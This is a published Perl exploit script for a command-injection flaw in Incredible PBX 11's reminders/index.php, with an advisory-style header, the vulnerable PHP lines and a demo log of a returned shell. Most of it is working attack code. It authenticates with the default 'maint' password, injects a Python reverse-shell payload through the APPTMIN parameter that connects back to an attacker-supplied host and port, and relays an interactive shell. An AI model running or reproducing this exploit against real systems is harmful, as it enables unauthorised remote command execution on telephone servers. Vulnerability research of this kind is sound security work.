#!/usr/bin/perl
#
# Title: Incredible PBX remote command execution exploit
# Author: Simo Ben youssef
# Contact: Simo_at_Morxploit_com
# Discovered: 1 September 2014
# Coded: 21 October 2014
# Published: 21 October 2014
# MorXploit Research
# Vendor: PBX in a Flash
# Vendor url: http://pbxinaflash.net/
# Software: Incredible PBX 11
# Version: 2.0.6.5.0
# Product url: http://incrediblepbx.com/
# Vulnerable file: reminders/index.php
#
# About (from their website):
# Incredible PBX is a secure and feature-rich implementation of the terrific Asterisk® PBX. By rethinking the PBX security model from the
# ground up, Incredible PBX was engineered to provide rock-solid security while delivering the most comprehensive collection of Asterisk
# utilities available on the planet including free calling in the U.S. and Canada courtesy of Google Voice.
#
# Description:
# reminders/index.php which ships with Incredible PBX suffers from a command execution vulnerability, allowing an authenticated user to
# inject commands as the asterisk user.
#
# Vulnerable code:
# 484: system $retcode3 = system("sox $tmpwave -r 8000 -c 1 $newgsm");
# 472: $tmpwave = "/tmp/$token.wav";
# 469: $token = md5(uniqid(""));
# 483: $newgsm = "/var/lib/asterisk/sounds/custom/" . $APPTTIME . "." . $APPTDT . "." . $APPTPHONE . ".gsm";
# 381: $APPTTIME = str_replace(array(chr(13), chr(10), "<", ">"), "", $APPTTIME);
# 375: $APPTTIME = $_REQUEST['APPTHR'] . $_REQUEST['APPTMIN'];
# 380: $APPTDT = str_replace(array(chr(13), chr(10), "<", ">"), "", $APPTDT);
# 374: $APPTDT = $_REQUEST['APPTYR'] . $_REQUEST['APPTMO'] . $_REQUEST['APPTDA'];
# 382: $APPTPHONE = str_replace(array(chr(13), chr(10), "<", ">", " ", "(", ")", "-", "."), "", $APPTPHONE);
# 376: $APPTPHONE = $_REQUEST['APPTPHONE'];
#
# As you can see, none of user input sent through $_REQUEST[] parameters is being validated/sanitized before being passed it to system();
#
# Exploit:
# As PoC, the below perl code will try to exploit $_REQUEST['APPTMIN'] to inject a python connect back shell.
#
# Note:
# Access to reminders/index.php requires 'maint' password, in the exploit code we have used the default installation password which is
# 'password'.
#
# Demo:
# ====================================================
# --- Incredible PBX remote command execution exploit
# --- By: Simo Ben youssef <simo_at_morxploit_com>
# --- MorXploit Research www.MorXploit.com
# ====================================================
# [*] MorXploiting http://10.0.0.20/reminders/index.php
# [+] Sent payload! Waiting for connect back shell ...
# sh: no job control in this shell
# sh-4.1$ id; cat /etc/issue
# id; cat /etc/issue
# uid=498(asterisk) gid=497(asterisk) groups=497(asterisk)
# CentOS release 6.5 (Custom) on \m
# Welcome to PBX in a Flash - Green
# Please log in to continue
# ******************************************
# Your IP Address is:
#
# 10.0.0.20
# ******************************************
#
# Download:
#
# Requires LWP::UserAgent
# apt-get install libwww-perl
# yum install libwww-perl
# perl -MCPAN -e 'install Bundle::LWP'
# For SSL support:
# apt-get install liblwp-protocol-https-perl
# yum install perl-Crypt-SSLeay
#
# Author disclaimer:
# The information contained in this entire document is for educational, demonstration and testing purposes only.
# Author cannot be held responsible for any malicious use or damage. Use at your own risk.
use
LWP::UserAgent;
use
MIME::Base64;
use
IO::
Socket
;
use
strict;
sub
banner {
system
(($^O eq
'MSWin32'
) ?
'cls'
:
'clear'
);
print
"====================================================\n"
;
print
"--- Incredible PBX remote command execution exploit\n"
;
print
"--- By: Simo Ben youssef <simo_at_morxploit_com>\n"
;
print
"--- MorXploit Research www.MorXploit.com\n"
;
print
"====================================================\n"
;
}
if
(!
defined
(
$ARGV
[0] &&
$ARGV
[1] &&
$ARGV
[2])) {
banner();
print
"perl $0 <target> <connectbackIP> <connectbackport>\n"
;
exit
;
}
my
$host
=
$ARGV
[0];
my
$vuln
=
"reminders/index.php"
;
my
$cbhost
=
$ARGV
[1];
my
$cbport
=
$ARGV
[2];
my
$defuser
=
"maint"
;
# Default maint user
my
$defpass
=
"password"
;
# Default maint pass
my
$string
=
"$defuser:$defpass"
;
my
$encoded
= encode_base64(
$string
);
$| = 1;
$SIG
{CHLD} =
'IGNORE'
;
my
$l_sock
= IO::
Socket
::INET->new(
Proto =>
"tcp"
,
LocalPort =>
"$cbport"
,
Listen
=> 1,
LocalAddr =>
"0.0.0.0"
,
Reuse => 1,
) or
die
"[-] Could not listen on $cbport: $!\n"
;
sub
randomagent {
my
@array
= (
'Mozilla/5.0 (Windows NT 5.1; rv:31.0) Gecko/20100101 Firefox/31.0'
,
'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20120101 Firefox/29.0'
,
'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)'
,
'Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36'
,
'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36'
,
'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.63 Safari/537.31'
);
my
$random
=
$array
[
rand
@array
];
return
(
$random
);
}
my
$useragent
= randomagent();
my
$ua
= LWP::UserAgent->new(ssl_opts => { verify_hostname => 0 });
$ua
->timeout(10);
$ua
->agent(
$useragent
);
my
$status
=
$ua
->get(
"$host/$vuln"
, Authorization =>
"Basic $encoded"
);
unless
(
$status
->is_success) {
banner();
print
"[-] Error: "
.
$status
->status_line .
"\n"
;
exit
;
}
banner();
print
"[*] MorXploiting $host/$vuln\n"
;
my
$payload
=
"python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"$cbhost\",$cbport));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"
;
my
$get
=
"APPTDA=morx&APPTPHONE=morx&APPTMO=morx&APPTMIN=;$payload;&APPTHR=morx"
;
my
$exploit
=
$ua
->get(
"$host/$vuln?$get"
, Authorization =>
"Basic $encoded"
);
print
"[+] Sent payload! Waiting for connect back root shell ...\n"
;
my
$a_sock
=
$l_sock
->
accept
();
$l_sock
->
shutdown
(SHUT_RDWR);
copy_data_bidi(
$a_sock
);
sub
copy_data_bidi {
my
(
$socket
) =
@_
;
my
$child_pid
=
fork
();
if
(!
$child_pid
) {
close
(STDIN);
copy_data_mono(
$socket
, *STDOUT);
$socket
->
shutdown
(SHUT_RD);
exit
();
}
else
{
close
(STDOUT);
copy_data_mono(*STDIN,
$socket
);
$socket
->
shutdown
(SHUT_WR);
kill
(
"TERM"
,
$child_pid
);
}
}
sub
copy_data_mono {
my
(
$src
,
$dst
) =
@_
;
my
$buf
;
while
(
my
$read_len
=
sysread
(
$src
,
$buf
, 4096)) {
my
$write_len
=
$read_len
;
while
(
$write_len
) {
my
$written_len
=
syswrite
(
$dst
,
$buf
);
return
unless
$written_len
;
$write_len
-=
$written_len
;
}
}
}